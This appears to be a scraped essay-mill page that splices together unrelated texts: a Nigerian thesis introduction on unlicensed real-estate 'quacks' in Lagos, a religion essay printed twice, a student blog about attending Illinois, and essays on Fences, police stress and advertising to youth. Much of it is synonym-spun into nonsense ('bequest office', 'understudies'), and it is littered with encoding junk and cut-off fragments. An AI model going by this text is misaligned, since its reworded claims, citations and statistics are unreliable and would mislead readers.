The Impact of the Activities of Quacks on the Practice of Real Estate

THE IMPACT OF THE ACTIVITIES OF QUACKS ON THE PRACTICE OF REAL ESTATE PROFESSION IN NIGERIA. BY OREAGBA . K. OMOTOKE IN PARTIAL FULFILLMENT OF THE REQUIREMENT FOR THE AWARD OF BACHELOR OF SCIENCE DEGREE (HONS) IN ESTATE MANAGEMENT DEPARTMENT OF ESTATE MANAGEMENT JANUARY, 2011. Section ONE INTRODUCTION 1. 1. Foundation to the Study The idea of polished skill depends on an expert in whatever professional field to serve his customer as well as the general public at large.This infers the need to keep up a serious extent of moral obligation and lead, since honesty must be the watch word for any calling. In this manner the achievement of expert status includes a control of study, an accumulation of information and a premise of trust combined with useful experience. In any case, the more expanded the field of training, the more uncertain it becomes for high expert codes and norms to be kept up and in this manner bequest office specifically can introduce problems.Agency can be alluded to as the matter of speaking to or offering a specific support for individuals or associations while an operator is an individual who follows up in the interest of another as for a specific exchange, likewise a specialist as someone who authoritatively speaks to another person in business or someone who offers a specific assistance for another. Then again, Real Estate,â inâ broadâ definition, alludes to land and everything fixed for all time a section thereof, and the nature and degree of one's advantage in that. In law, the word genuine, as it identifies with property, implies land as recognized from ersonal property; and bequest is characterized as the intrigue one has in property. Valuers, Appraisers and Estate Agents Act 1981 characterized home organization practice as acting or holding oneself out to people in general as prepared to act, for a commission, charge, reward or other thought, as an operator in regard of the deal or other removal of land and structures and of any intrig ue in that or the buy or other procurement of land and structures and of any intrigue in that or in regard of the renting or letting of land and structures and of any intrigue therein.Ibiyode(2009) in a meeting with the Saturday Tribune alludes to an undeveloped and unregistered individual from the Nigerian Institution of Estate Surveyors and Valuers (NIESV) rehearsing domain office as a quack. Throughout the years, land office practice has seen the flood of the two experts and non-experts the same. Enrolled Estate Surveyors and Valuers, legal advisors that fill in as specialists, property experts, contract foundations, land merchants and uneducated middle people are found in home office business (Opalana, 2009).Akomolede (2006) points out that it is just inactive and ineffective attorneys who leave their own calling to fiddle into domain organization. He further clarified that butchers, mechanics, drivers, bookkeepers, legal advisors, instructors, understudies, security watches, ev en inert housewives and pretty much anyone can fiddle into the training to win a commission.Statistics determined by Akpoyibo ( 2009) shows that in the previous 5 to 8 years, fraudsters, working under the front of home designers, bequest operators, property experts and the board, among different business names, have assumed control over the city of Lagos, tricking and bringing wretchedness and disarray into the lives of their casualties. A portion of their strategies are very complex, they would put ads in the print and electronic media, use boards and even print hand bills to declare opportunities for pads, independent lofts to let or even land and houses available to be purchased (Akpoyibo, 2009).This circumstance has truly influenced the picture of rehearsing Estate Surveyors whereby proprietors of properties have given over deals and lettings of their various properties to operators who by and large are not dependable and don't have legitimate rights to complete such exercises a nd who can't catch up the checking and appropriate support of their client’s properties.In such cases the proprietor of the properties is in danger of awful inhabitant and poor upkeep which brings about loss of client’s cash. Over the span of perusing this, the analyst was provoked to discover how has the exercises of quacks influenced Real Estate Profession with extraordinary spotlight on land organization and property dealings in Lagos Island and its environs because of its high volume of letting and deals exchanges. 1. 2. Articulation of Research ProblemAccording to Akomolede (2006), the most concerning issue confronting the domain office business in Nigeria today is the nonappearance of guideline, there is no empowering law under which bequest specialists are enlisted and controlled; the risk is that the calling in its current state takes into consideration the interruption of a wide range of quacks. Another primary issue with the current framework is that there is no necessity to have a place with an administrative body so as to set up and practice as an agent.Estate specialists may decide to become individuals from the Royal Institution of Chartered Surveyors or the National Association of Estate Agents, and it's a smart thought to check for their participation of these bodies while picking one to chip away at your sake. Wrongdoing Watch examinations distributed in the PM News (seventeenth September, 2009) uncovered that the greater part of the properties publicized for lease or rent don't exist, and where they exist, individuals are joining many different casualties to line the ravenous pockets of these criminals.It was likewise uncovered that between a year ago and today, more than 1,000 house searchers in Lagos State have been tricked by these extortionists, while a few a large number of naira has been lost. A few families have lost as long as they can remember investment funds and some have confronted desperation through the exercises o f these mavericks. This study’s most noteworthy concern is the way that increasingly more house searchers are falling under the control of these quacks and a few a huge number of naira is deceitfully gathered every day from Lagosians. The significant inquiries this investigation plans to answer accordingly include: i.What laws have been set up to control the exercises of quacks in Nigeria? ii. What are the impacts of quacks on Real Estate Practice ? iii. What should be possible to limit their exercises? 1. 3. Point and Objectives of Study The point of this exploration is to examine the effect of the exercises of quacks on the act of land calling in Nigeria, with specific reference to Lagos Island property advertise. In accomplishing the point of this examination, the particular goals are to: I. Look at the laws identifying with the act of domain organization in Nigeria. ii.Asertain particular impacts of quacks on training of bequest office in the investigation territory. iii. Distinguish approaches to limit the exercises of quacks to upgrade Real domain practice. 1. 4. Essentialness of the Study Several scholars have mostly inspected the effects and impacts of quacks on bequest office practice. According to their individual examinations, this investigation will look at all part of deception related action by distinguishing who these quacks are, likewise by analyzing the laws that directs the act of domain office just as recommending potential answers for this menace.This task will fill in as a motivating force particularly to understudies at present reading bequest the board and for those whose strength would be home organization since it will aid appropriately arranging them as propective home assessors, and furthermore to the open telling them who they can relate with and how to recognize Estate Surveyors and Valuers. This examination is likewise significant in light of the fact that it would uncover the exercises of quacks/non-experts in bequest orga nization, consequently empowering the Nigerian Institution of Estate Surveyors and Valuers to be in a decent situation to mold out new implicit rules for its individuals and discover methods of managing quacks.This research is to empower the perusers get why and how these quacks work under the covering of domain designers, home operators, property specialists and the executives, this is on the grounds that it has been seen by Crime Watch examinations that these quacks have assumed control over the city of Lagos, tricking and bringing wretchedness and disarray into the lives of their casualties. A nitty gritty examination that would experience the total exploration prerequisites would no uncertainty limit, if not kill the exercises of quacks in home office practice.This is the thing that this investigation means to accomplish notwithstanding advancing energy of office assessors in the property showcase. This exploration will go far in annulling the exercises of quacks and furthermore telling the open who explicitly they can relate with and how to recognize them, likewise keep general society from going into wrong hands. 1. 5. Extent of the Study No issue how aspiring a scientist could be, no single investigation can be comprehensive. Subsequently, study limits must be characterized plainly. In this view his examination centers around the effect of the exercises of quacks on the act of Real Estate Profession in Nigeria. Bequest organization is choosen among different parts of land calling, in light of the fact that different parts of the calling needs permitting before one can rehearse, fundamentally an eatate operator needn't bother with proficient capabilities to rehearse. Additionally the exercises of the quacks influence more individuals at the lower rung of social and monetary stepping stool. Notwithstanding, time requirement doesn't take into consideration the inclusion of the whole country.For this explanation, the extent of this exploration is confined t o Lagos Island, since it is known to be a business zone and it plays host to the primary government structures, shops and workplaces. Lagos Island contains a focal business locale and this region is portrayed by tall structures where all kind of exercises happen, generally business and budgetary organizations are executed and furthermore where various experts are based, and furthermore in light of the fact that it is tremendous and has a great deal of domain firms inside the zone. 1. 6. Study Area Lagos Is

300 Word Essay on Freedom of Religio Free Essays

300 Word Essay I picked opportunity of religion since it is the one bill of rights that I accept has the broadest extension in the constitution. I accept that everybody has the option to put stock in an extraordinary conviction. That is the reason we have the foundation proviso and the free-practice condition. We will compose a custom exposition test on 300 Word Essay on Freedom of Religio or then again any comparative subject just for you Request Now Which were set up to shield the administration from meddling with the activity of religion. Be that as it may, in today’s time the legislature has the option to restrain the act of a religion, yet you despite everything have the opportunity to accept our own convictions regardless of whether no else trusts them. On the off chance that the opportunity of religion revision wasn’t imperative to this nation, at that point it wouldn’t exists. We would have one religion where fundamentally everybody would have a similar religion and there wouldn’t be an assorted variety of societies in the country as there is today The option to have opportunity of religion additionally allows us to have and encounter various societies so we can learn and concentrate how others the country over accepts and lives. To rehearse compose supplication in government funded schools over this nation has been eradicated yet the schools must permit their ways to be open after school hours for any strict exercises to occur for the individuals who need/need it. As I have recently graduated secondary school and saw with my own eyes how the schools have changed since this has happened. I saw numerous youthful adolescents requiring a strict figure in their life, to support them and to have a feeling of would like to continue carrying on with an unadulterated and clean life. In school we began a little gathering of understudies who needed to get together every morning to ask before we began the day, and we were told by are director that we wouldn’t have the option to do this before the understudies and needed to discover an area to take these sorts of exercises. Yet, tragically most have just taken the street of dimness and obliteration and I’m frightened for my youngsters later on. Step by step instructions to refer to 300 Word Essay on Freedom of Religio, Essay models 300 Word Essay on Freedom of Religio Free Essays 300 Word Essay I picked opportunity of religion since it is the one bill of rights that I accept has the broadest development in the constitution. I accept that everybody has the privilege to have faith in a powerful conviction. That is the reason we have the foundation statement and the free-practice proviso. We will compose a custom article test on 300 Word Essay on Freedom of Religio or on the other hand any comparable theme just for you Request Now Which were set up to shield the administration from meddling with the activity of religion. Yet, in today’s time the administration has the option to restrain the act of a religion, yet you despite everything have the opportunity to accept our own convictions regardless of whether no else trusts them. On the off chance that the opportunity of religion revision wasn’t critical to this nation, at that point it wouldn’t exists. We would have one religion where essentially everybody would have a similar religion and there wouldn’t be an assorted variety of societies in the country as there is today The option to have opportunity of religion likewise allows us to have and encounter various societies so we can learn and concentrate how others the country over accepts and lives. To rehearse sort out petition in state funded schools over this nation has been eradicated yet the schools must permit their ways to be open after school hours for any strict exercises to occur for the individuals who need/need it. As I have quite recently graduated secondary school and saw with my own eyes how the schools have changed since this has happened. I saw numerous youthful adolescents requiring a strict figure in their life, to support them and to have a feeling of would like to continue carrying on with an unadulterated and clean life. In school we began a little gathering of understudies who needed to get together every morning to implore before we began the day, and we were told by are boss that we wouldn’t have the option to do this before the understudies and needed to discover an area to take these sorts of exercises. Be that as it may, tragically most have just taken the street of obscurity and demolition and I’m terrified for my kids later on. Step by step instructions to refer to 300 Word Essay on Freedom of Religio, Essays

California to Illinois

California to Illinois Hi everyone! I wanted to write a post in response to one of the comments my friend Alec received on his post “Choosing the School for YOU”: “I am at the  deciding point and will be visiting the campus on 4/8 for Admitted Student Day. I am from the San Francisco Bay Area in California. I would love to hear from other students from California about  their Illinois  experiences and why they have chosen a  school far away from home. What is the best way to connect with some of these students?” I happen to be from the Bay Area as well, so I thought I’d take a crack at answering this. I apologize in advance for the length, but I really want to address all aspects of this question. I hope this post is helpful to any of you out-of-state or even international students considering coming to Illinois! I give a brief overview of my motivations for choosing Illinois in my bio, but upon further reflection, I thought I’d add a few more things on the topic of being far from home: A large part of choosing Illinois was this expectation of being physically removed from everything I was used to yet still having a wonderful support system. Living in a college town is so unique because you get to feel like a student 100% of the time. Moving from the hectic Bay Area  to the cornfields of the Midwest seemed  intimidating at first, but I actually think the sense of isolation has some  productive outcomes. There’s a huge sense of community here on campus, and I feel like I’ve been able to invest in relationships and my education more thoroughly because there are fewer distractions. U.S. News World Report Despite the fact that our campus might seem like it’s in the middle of nowhere, we are a large public research university with a global presence. Students and faculty across all departments are doing some really cool things, and  being a student here means you have access to it all. For example,  Research Park in Champaign is home to over 100 technology-based companies, from big names like Yahoo! to startup companies born from the university’s own tech incubator. These companies are always looking to hire and collaborate with Illinois students and entrepreneurs. As a Silicon Valley native, I was blown away by the fact that a place like Champaign is  such a tech powerhouse, and that even an undergraduate student like myself has  exclusive access to these learning opportunities. Heres a quick video on Research Park if youre interested: So those are a few reasons why I chose Illinois, but if that’s not compelling enough, here are literally 200 more reasons  why you should consider becoming an Illini. To answer the second part of the  question, there are a couple of things I did to get in touch with other admitted students from my area: From what I recall, someone created a separate Facebook page for admitted students from the Bay Area/California, and we all got to know each other through that. Keep an eye out for any social media groups or take the initiative and make your own! It’s always nice to see a few familiar faces your first week on campus, and it might be a useful resource to coordinate housing and travel plans down the line. Reach out to any current Illinois students who graduated from your high school. Talking to them is probably your best shot at getting candid feedback about their experiences. Not too many people from my high school had come here before, so I relied on contacting friends of friends. Youre bound to meet more California students during your first yearâ€"there are so many of us here! Ive met other Bay Area natives through clubs Ive joined, classes Ive taken, and random events Ive gone to. Youd be surprised how quickly youll form your own community here. Hopefully this was helpfulâ€"if any of you have more questions about my experience at Illinois, feel free to comment and ask! Im always happy to answer them. In the past, Ive written about a Californians thoughts on Illinois weather, as well as some personal reflections on my college decision process, so check those out as well if youre interested. ?? Ria Class of 2018 I'm studying both Finance and Information Systems and Information Technology in the Gies College of Business. I’m from Los Altos, California.

Analysis of Fences by August Wilson Essay - 1012 Words

In the play Fences by August Wilson, Troy is shown as a man who has hurt the people who are closest to him without even realizing it. He has acted in an insensitive and uncaring manner towards his wife, Rose, his brother, Gabriel and his son, Cory. At the beginning of the story, Troy feels he has done right by them. He feels this throughout the story. He doesn’t realize how much he has hurt them. Troy is the son of an abusive father. His father was hardly around to raise him. When he was around, he made him do chores and if he didn’t do them he would beat him. One time, after Troy tied up the mule, just as his father told him to, he went off to the creek with a girl to â€Å"enjoy himself.† The mule got loose, and his father found out. His†¦show more content†¦They told him that he killed the man. They put Troy in the state penitentiary for that. He spent 15 long years there. When he came out, he met Rose. All of his stealing habits were gone. Troy and Rose got married. At the time, Troy had a son from a previous marriage. He never spend time with this son, because he was in jail. After they were married, they wanted to have a son. Cory, their son, was born. Troy thought that he was a good husband to Rose because he provided her with food and a house. He wasn’t a good husband because he didn’t give her love and compassion. These two things are needed in a good marriage. She centered her whole life around him and he gave her almost nothing. When she had a problem, she couldn’t go to him. Troy also wasn’t faithful to Rose. He went off and had an affair with another woman. Rose was heart-broken by this. She couldn’t believe Troy could do this to her. She devoted her life to him and he goes and stabs her in the back. On top of that, Troy had a child with his mistress. The woman died giving birth. Troy asked Rose to take care of the baby. Rose did, what else could she have done? Troy was not a good husband. Troy took care of Gabriel after the war. This made him think that he was a good brother. Troy wasn’t a good brother to Gabriel. He stole the war money that Gabriel got. He used the money that he got to build himself a house. Gabriel couldn’t take care of himself, so Troy oversaw Gabriel’s life. After a whileShow MoreRelatedFences Analysis On Fences By August Wilson1283 Words   |  6 Pages Fences Analysis In the play â€Å"Fences† by August Wilson the play’s attitude toward women is biased, and if the play was written by a female I think it would have a stronger feminine influence. Issues such as racism and discrimination against blacks may be raised in the play that the author did not bring up, and the women in the story somewhat do generally typify women in the 1950s. To support my interpretation, the women in the play were homebodies, just worrying about the household because theyRead MoreAnalysis Of Fences By August Wilson1179 Words   |  5 PagesFences, August Wilson The close reading process for this play occurs in three stages: 1. First Read (Days 2 and Day 3): Students are not to cold read the play during this period. It is essential for their understanding that this first read comes from a fluent adult reader or (less ideally) from a recording of the play. Teachers should pre-select moments of tension or surprise when students should stop and jot their thoughts, ideas and questions about the text. The suggested cues for the openRead MoreAnalysis Of Fences By August Wilson1340 Words   |  6 Pagescharacter who, for the most part, is a benevolent person, but suffers from his or her hamartia and hubris, which ultimately leads to their downfall and recognition of their poor choices, as well as the reversal of their situation. The play Fences written by August Wilson describes the struggles and hardships of an African-American family endeavoring to live the American Dream in the 1950s. Although some may argue that the main character, Troy, is not a tragic hero, evidence in the play fortifies that heRead MoreAnalysis Of Fences By August Wilson1251 Words   |  6 PagesFences by August Wilson is a play about African American life during the 1950’s era, it reflects a transitional time where African Americans begin to stand up and fight against racism. The father son relationship is a centering conflict within the play Fences. Throughout the play we are immersed into this complex connection of Troy and his two sons, Cory and Lyon. Troy struggles to create an identity separate from what is forced on him through an oppressive society. His battle with identity streamsRead MoreAnalysis Of Fences By August Wilson1612 Words   |  7 Pages In August Wilson s play Fences, he uses his piece to explain that someone unable to control their actions caused by selfish, hatred, or angry emotions will cause issues in one s personal life, general decisions, and in family life. Wilson hopes to target people who can t control their emotions and wishes to prevent the negative effects of uncontrolled actions caused by negative emotion. The inability to control one s emotions can harm their friends, decision making, and family. Wilson mainRead MoreAnalysis Of Fences By August Wilson Essay1837 Words   |  8 PagesFences written by August Wilson, the setting reveals the man that Troy Maxson really is. The set of the play represents Troy Maxson’s character within the play where him and his family reside in a fenced in yard of Troy’s front porch, brick house. He is proud to provide a home for his family. However, Troy has not accomplished this achievement on his own. Which takes a toll on Troy when he realizes he has nothing to show for his life which leads Troy to feel ashamed of himself. The protagonist, TroyRead MoreAnalysis Of August Wilsons Fences 1800 Words   |  8 PagesAugust Wilsons â€Å"Fences† takes us on a journey that transforms the 20th century impression of a Negro Family with Insatiability, Tenderness, and Sacrifice. The famous play is an autobiography of an American Negro man who loses his dreams for the people he loves. Fences demonstrates us what sacrifice looks li ke and how egocentricity still exist today. Fences takes place with a family in Pittsburgh from 1957 to 1965. The characters are Troy, Bono, Rose, Lyons, Gabriel, Cory, and Raynell. Fï  ¥Ã¯  ®Ã¯  £Ã¯  ¥Ã¯  ³Ã¯â‚¬  Ã¯  ©s importantRead MoreAnalysis Of `` Fences `` By August Wilson867 Words   |  4 Pagesa family. August Wilson’s â€Å"Fences† portrays extremely well what happens when a member of the family decides to forget his or her duties. The use of metaphors and symbols throughout the play such as baseball and fences, illustrate exactly why Troy Maxson as a family man was destined for disappointment. Rose, Troy’s wife in the play was the obvious voice of reason between the two; all she wanted was an interrupted happy family life. The fences that she put up were not physical fences but ratherRead MoreAnalysis Of Fences By August Wilson1656 Words   |  7 Pagesand typically a positive thing. There are times, however, when the people that children emulate are not the best examples society has to offer. In the play Fences Cory looks up to his dad when it comes to sports. However, by the end of the play the reader starts to notice that Troy is not the man to look up to. The plot in Fences by August Wilson is centered around an African American family that looks at the world a little differently by that I mean when Troy was young people believed blacks shouldn’tRead MoreAnalysis Of Fences By August Wilson1240 Words   |  5 Pagescontinued to pursue this goal despite the likeliness of failure? Would it still be worth it? Fences by August Wilson tells the story of an i mpoverished African-American family in the 1950s and the father Troy’s failed American Dream. The Great Gatsby by F. Scott Fitzgerald illustrates the upper class in the Roaring Twenties and a man named Gatsby who also fails to attain his long-awaited dream. Both Wilson, in Fences, and Fitzgerald, in The Great Gatsby don’t believe solely in the dreamer or solely in the

Stress Management - 2159 Words

Stress is a term used by many, is somewhat misunderstood, and often used to describe a negative condition or emotional state. People experience various forms of stress at home, work, in social settings, and when engaged in activities to simply have fun. Police officer#8217;s experience stresses the same as others, but also in ways much different than the average citizen. The dangers, violence, and tragedy seen by officers result in added levels of stress not experienced by the general population. What is stress? Stress is not a new phenomenon, it has been experienced throughout history. Stress is a biological response to some stimulus. Fear, panic, anger, tragedy and especially pressure can cause it. Stress can result in the†¦show more content†¦Stress is linked to the six leading causes of death, heart disease, cancer, lung problems, accidents, cirrhosis of the liver, and suicide. Stress is a combination of physical, mental, and emotional feelings that result from pressure, worry, and anxiety. These pressures are called stressors. Some examples of common stressors are, divorce, death in the family, job change, pregnancy, marriage, and retirement. In medicine stress is a physical, chemical, or emotional development that causes strains that lead to physical illness. The early warning signs of stress include apathy, anxiety, irritability, mental fatigue, and over compensation or denial. Some signs of apathy are feelings of sadness or recreation that isn#8217;t fun anymore. Feelings of restlessness, agitation, insecurity and a sense of worthlessness are examples of anxiety. Signs of irritability are feeling hypersensitive, defensive, and arrogant. Feeling argumentative, rebellious, or angry are also signs of irritability. Examples of mental fatigue are denying that there are problems, ignoring symptoms, and feeling suspicious. Some behavioural signs of stress are avoiding things, doing things to extremes, administrative problems, and leg al problems. Avoiding things includes keeping to one#8217;s self, avoiding work, having trouble acceptingShow MoreRelatedStress And The Stress Management1474 Words   |  6 PagesThe definition of Stress, its history and how to manage Stress is a daily conversation word as the world is becoming more challenging and difficult to live. It is very important to understand, and know how to manage it on a daily basis especially on our workplace. This essay will be broken into four parts firstly it is going to discuss about the contrast and similarity in the definition of stress between Engineering and Selye’s approach. Then it is going to critically evaluate the General AdaptationRead MoreHow Stress And Stress Management1319 Words   |  6 Pagesin which we have studied during the weeks of nine through eleven. I have selected to explore Stress and Stress Management more in depth. In this assignment I will explain what made me want to know more about it. I plan on telling you what you should know about Stress and Stress Management. Lastly, I will discuss how Stress and Stress Management relate to success in my personal and professional life. Stress can be defined as the nonspecific response of the body to any dem and made on it (Lamberton Read MoreStress Management3984 Words   |  16 Pagesthat the incidence of work-related stress increased dramatically in Australian organisations during the 1990s and early 2000s? Should employers be made responsible for dealing with the negative effects of work- related stress on their employees? If so how could they do this? Prepared for: Nick Foster Udam Wickremaratne 10571359 Occupational stress is a major news item, which has captured numerous headlines across the industrialized world and rightly so. Stress is reported to cost employers US$120Read MoreEssay on Stress and Stress Management1494 Words   |  6 Pages Stress and stress management: What is stress and how to manage it ? Stress is defined as a force that tends to strain or deform (b) mental emotional or physical tension, strain or distress-(v) to put emphasis on (c ) to subject to strain or pressure. Stress is a unwanted feeling of emotions and physiological arousal that some experience in certain situations. Stress can mean different things to various people. People have said; â€Å"That stress can causeRead MoreA Short Note On Stress Management And Stress Essay998 Words   |  4 PagesStania Tavil Dr. Diane D. Ashe Psychology 2012 October 15, 2016 Stress Management In everyday life, people have to deal with some good moments and some difficulties. They can be helpful and also destructive. Life Comes down to several characteristic as:/ joy, love, sadness, crying etc. There are many phenomena that appear and seem good and a little weird too sometimes. They can be: physical, moral, social, economic, psychological, natural disaster, or failing to achieve. Everyone wants to be happyRead MoreThe Effects Of Stress And Nutrition On Stress Management1852 Words   |  8 Pages Over the recent decades the emerging importance that nutrition has on stress management in college students along with others has become a controversial topic all across different Universities and Public Institutions. Hence, for years, society has suspected that stress and nutrition are linked and now after so many years, scientific research has found evidence to support this connection. In an article by Fysekidis Kouacou (2015), research suggest to help explain this link and, as more individualsRead MoreStress Management Essay1436 Words   |  6 PagesStress Stress is normal. It happens to everyone, and affects everyone differently. It is a feeling of being overwhelmed for handling things you aren’t used to. Stress is also known as a response or something that changes in the body caused by emotions, social, physical, or economical issues which can cause tension mentally and physically. It can be caused by external or internal situations. What’s known as the â€Å"fight or flight† response, is initiated when an individual becomes stressed. It is theRead More The Management of Stress Essay1447 Words   |  6 Pagesnot the answer I’m looking for. The correct answer is stress. Everyone has stress in his or her life at one point or another. It’s one of many inevitable parts of life. Whether it’s busting out a research paper for Psychology at the last minute, expecting your first child to be born, to making sure you’re up in time to catch the Saturday morning cartoons, it’s clearly evid ent that everyone goes through stress. The real question is, how is stress handled in our society? A person is defined by how theyRead MoreEssay on Stress Management649 Words   |  3 PagesStress Management Responses to stressors present different impacts on each individual. Stressors have a physical and psychological effect on people although some people seem to be much less effected by stress being able to withstand high levels of stress almost as if there daily lives depend on it. Even though it is accepted stress is with us from are waking moment to the minute we sleep, almost all individuals through time suffer physical or psychological illness. IndividualRead MoreStress Management Plan1516 Words   |  7 PagesStress Management Plan When I was gathering resources for my first stress portfolio, one picture left a deep impression. It says: â€Å"there are only two times I feel stress: day and night.† Yes, stress exists along with our whole life; it may seem that there is nothing that we can do about stress. The homework and exams will keep coming, there is endless study and work in the day, and our career and family responsibilities will always be demanding. However, the good news is that stress can be managed

Advertising to Youth Free Essays

In the ever expanding world of consumerism and advertising, companies are constantly looking for new ways to sell their products to youth by making their commercials and campaigns more memorable than the competition; thus having to reinvent themselves. The youth generation has become the prime target because they have more spending power than ever before; because of more disposabel income, and increased avenues at their disposal in which to spend their money. Therefore companies spend an enormous amount of money on advertisement to ensure popularity and early brand loyalty. We will write a custom essay sample on Advertising to Youth or any similar topic only for you Order Now In the last decade, these superbrands are looking towards new and outrageous ways to capture young audiences, although these campaigns are appealing, how effective are they? This essay is meant to demonstrate how companies are reinventing themselves, whether their efforts are effective, and what possible implications these actions may have on youth during their teenage years, when they may be the most impressionable. As mentioned earlier, youth are incredibly important to the international market, in â€Å"The Advertising Age†, Jeff Jensen mentions that in todays youth market â€Å"Selling out is not only accepted, it’s considered hip† (Klein, pg. 5) Corporate sponsorships have become a regular occurrence, as a conglomerates advertise during large sport events, concerts and or even host entire contests . This provides for a perfect channel of penetration to a large amount of youth as they are usually key observers of these types of events. An example of this woul d be the how McDonald’s was a sponser of the Vancouver Olympic Winter Games. Throughout the two week duration of the games, McDonald’s sponsorship was seen everywhere, which was ironic considering that most food offered at McDonald’s is high in fat and cholesterol.Regardless of the facts, the company promoted themselves as a product of healthy active living by having athletes endorse their products. An earlier campaign featured pop icon Justin Timberlake collaborating with the Golden Arches, and creating the slogan and jingle â€Å"Im Lovin It†, which later furthered his own music career. The use of music to attract attention to a product has become a new advertising trend among numerous companies because it allows the organization to appear in tune with youth culture by using familiar songs, or artists to identify with the brand.A revolutionary effort made by automobile manufacturers such as Audi, Ford, Honda, and BMW has changed brand image by creating brand loyalty among â€Å"a whole new generation† and â€Å"chasing young buyers. † (Halliday, 16) In the case of Audi, they sponsored David Bowie’s concert, and asked fans to collaborate two of his hit songs for their next campaign; the winner would win a brand new Audi TT coupe. â€Å"The target for the contest [was] skewe[ed] to 20-something consumers, younger than Audi’s traditional audie nce in their late 30s to early 50s† (Halliday, 16) As for BMW, their angle for targeting youth aged 15-30 years old was similarly clever.They sponsored young go-cart drivers by providing them with scholarships to race for BMW Formula USA professionally, not only helping build the winners careers, but have their new target audience identify with the drivers and therefore, the brand. In the past, luxury vehicles such as BMW and Audi were mostly marketed towards baby boomers, but marketers are starting to realize the market value of advertising to youth approaching an age when they start deciding what car they should identify with. This creates brand loyalty at an early age, that will hopefully generate sales for the companies later on.The above are all examples of how to secure brand loyalty among youth at an early age. Although the campaigns are ingenious marketing strategies, the repercussions may be serious. In the case of McDonald’s, there are some serious ethical issues centered around the fact that a restaurant that sells junk food is promoting itself as an alternative to a healthy lifestyle. Although they do offer â€Å"healthier† choices on their menu, their campaign during the Olympics featured the slogan â€Å"you don’t have to be an athlete to eat like one† featuring athletes like Patrick Chan eating a burger.These types of commercials tend to be misleading to young viewers to believe that athletes actually eat fast food. Even viewers that are aware McDonald’s is not a healthy choice might be more likely to purchase from the restaurant because of the constant adve rtising, and incentives such as official Olympic paraphernalia. The effect of the campaign was very successful, as McDonald’s generated a sales profit of 4. 8 percent worldwide higher than last February, with a predicted increased of 4 percent. In retrospect, luxury automobile makers advertising to youth may be a seemingly harmless alternative to gaining future customers.But on closer inspection, the problem may lie deeper. By luxury models creating brand loyalty so early one, it gives the impression that any person can own an Audi or BMW, when in fact that is not the case. Many people will never be able to afford this type of vehicle, but by instilling a desire so early on, may cause some to live beyond their means, meaning going into debt to own an Audi, and have a false sense of accomplishment. On the other hand, a teen may desire these cars, and dedicate themselves to working hard so that one day they be able to afford one. There is no way to tell whether this will have a positive or negative effect of the consumer, as the campaign is only a start to the reinvention of two brands that have for many decades been deemed as appropriate for middle-aged adults. During the era of Old Hollywood, product placement was a small part of the movie making business, as corporate products were secondary to the script and story line. In today’s conglomerate controlled society, advertisement becomes the main form of funding for a motion picture, thus in some cases controlling the whole integrity of the film.On television, certain shows are created around the product itself, and cleverly manipulated through repetition to instigate desire in the product. The prominence of this type of product placement is clearly visible in television and movie programming that is targeted at youth. An example is â€Å"America’s Next Top Model,† the corporate sponsor of the show is Cover Girl Cosmetics. The whole show is built around using the products, advertising them in the photo shoot campaigns, and again repeating the brand at the end during the elimination ceremony. The brand describes itself as youthful and fresh, the perfect brand for young girls. The models in the reality show all strive to win $100,000 contract with Cover Girl. Needless to say, this has been an incredibly well executed advertising campaign, and it is endorsed by supermodel Tyra Banks, and is viewed by millions of young girls around the world. Last year Cover Girl’s revenue was US 79. 03 billion dollars. Even if only a smart per cent of young women buy the cosmetics because of the show, it is still a fantastic investment in advertising for the company.Many movies are following in the same trend by shamelessly centering their scripts around product placement, in some cases making it the focus of the entire movie. One extreme example in the satire comedy â€Å"Talladega Nights† starring Will Farrel. The film focuses around the advertisement of Nascar, Wonderbread, Old Spice, Perrier, Taco Bell, Kentucky Fried Chicken, and Applebees to name a few. The viewer is so overwhelmed by the amount of corporate sponsors, that they may fail to recognize that there is no true story line.This movie is meant for a young audience as it is filled with outrageously inappropriate and immature humor that ironically identifies the fact that the movie is filled with product placement. This is a brilliant way to advertise numerous products because the movie does not deny the fact, which makes it almost acceptable to the audience because of the recognition of the fact. Shortly after the movie aired, Wonderbread started a new savvy campaign of their own, introducing a new whole wheat version of their bread that catered to children.There is no doubt that Wonderbread became the face of â€Å"Talladega Nightsâ €  and thus unforgettable. In the fight for youth audiences, companies are now spending millions of dollars on market research in the mission of finding out what is â€Å"trendy† and â€Å"cool. † In her article Niomi Klein identifies a different approach to researching the youth generation. â€Å"Cool Hunters: The legal stalkers of youth culture† (Klein, pg. 72) are used to investigate teenagers by large corporations into order to stay current within their advertising and products. Armed with their change agents and cool hunters, the superbrands become the perennial teenage followers, trailing the scent of cool wherever it led† (Klein, pg. 73) that brings reinvention to a whole new level. These marketers usually focus towards the ghettos of large cities, where subcultures start because of lack of money; these youth are forced to use their creativity to standout and build a self image against the status quo. Corporations such as Nike recognize trends in these communities, and use it towards the advent of a new campaign and line of clothing or shoes.The irony is that this trend is catered to suburban youth fabricated to look like the youth from the ghettos because â€Å"very often the most exciting outfits are from the poorest people. † (Klein, pg. 73) Wherever there is a new trend emerging, the superbrands will find some way to materialize it for their own profit. This creates a problem of originality as â€Å"no space has been left unbranded. † (Klein, 73) Youth may find it difficult to create an outstanding and alternative image for themselves that does not represent mass consumerism.There is also some ethical problems with this marketing trend as this could be seen as a new form of pirating ideas, and the compromising of privacy of the youth targeted in the ghettos. The trend of hip hop influence has spread to other companies such as Reebok, Tommy Hilfiger and even Levi’s as they use celebrity endorsements like 50 Cent, Puff Daddy and Jay-Z to further sell their reinvented brand images. In another effort to stand out and make a commercial unforgettable, some companies are going to extreme measures to create edgier content that abandons the use of musical inspired content, and uses shocking images in its place.One such company is Airwalk shoes which used body dismemberment and overflowing toilets as humor to create an â€Å"uncensored voice of the counterculture. † (Jensen, pg. 31) This campaign came into light after the success of dirty humor movies such as â€Å"There’s Something About Mary† and â€Å"Monty Python†. The first commercial hows an Airwalk consumer being chased by an angry motorist; and ends up losses some limbs in the process. After the ordeal is over, the loyal customer finds one of his dismeme bered legs in order to get his Airwalk shoe back. The second commercial titled â€Å"Titanic† illustrated a young man sitting on the toilet which starts to overflow, and he does everything to keep his Airwalk shoes from getting wet. The approach of the outrageous was aimed to be more â€Å"viral†, by using the shocking images to gain more media placement among ESPN, MTV, and Much Music. The spokesperson for Airwalk was quoted saying â€Å"It won’t be enough to just carpet-bomb consumers with your brand name [†¦ ] a brand better be compelling enough that consumers covet it. † (Jensen, pg. 1) The campaign was aimed towards a niche target audience of teenaged skateboarders that would appreciate the dirty humor, as they were thought to be as fearless and out-going as were the new 4 million dollar advertisements. Although they probably appealed to many young people, it most likely offended other viewers with the gut-wrenching content. This interesting approach could either work in favor of the company or against it; but by using such explicit 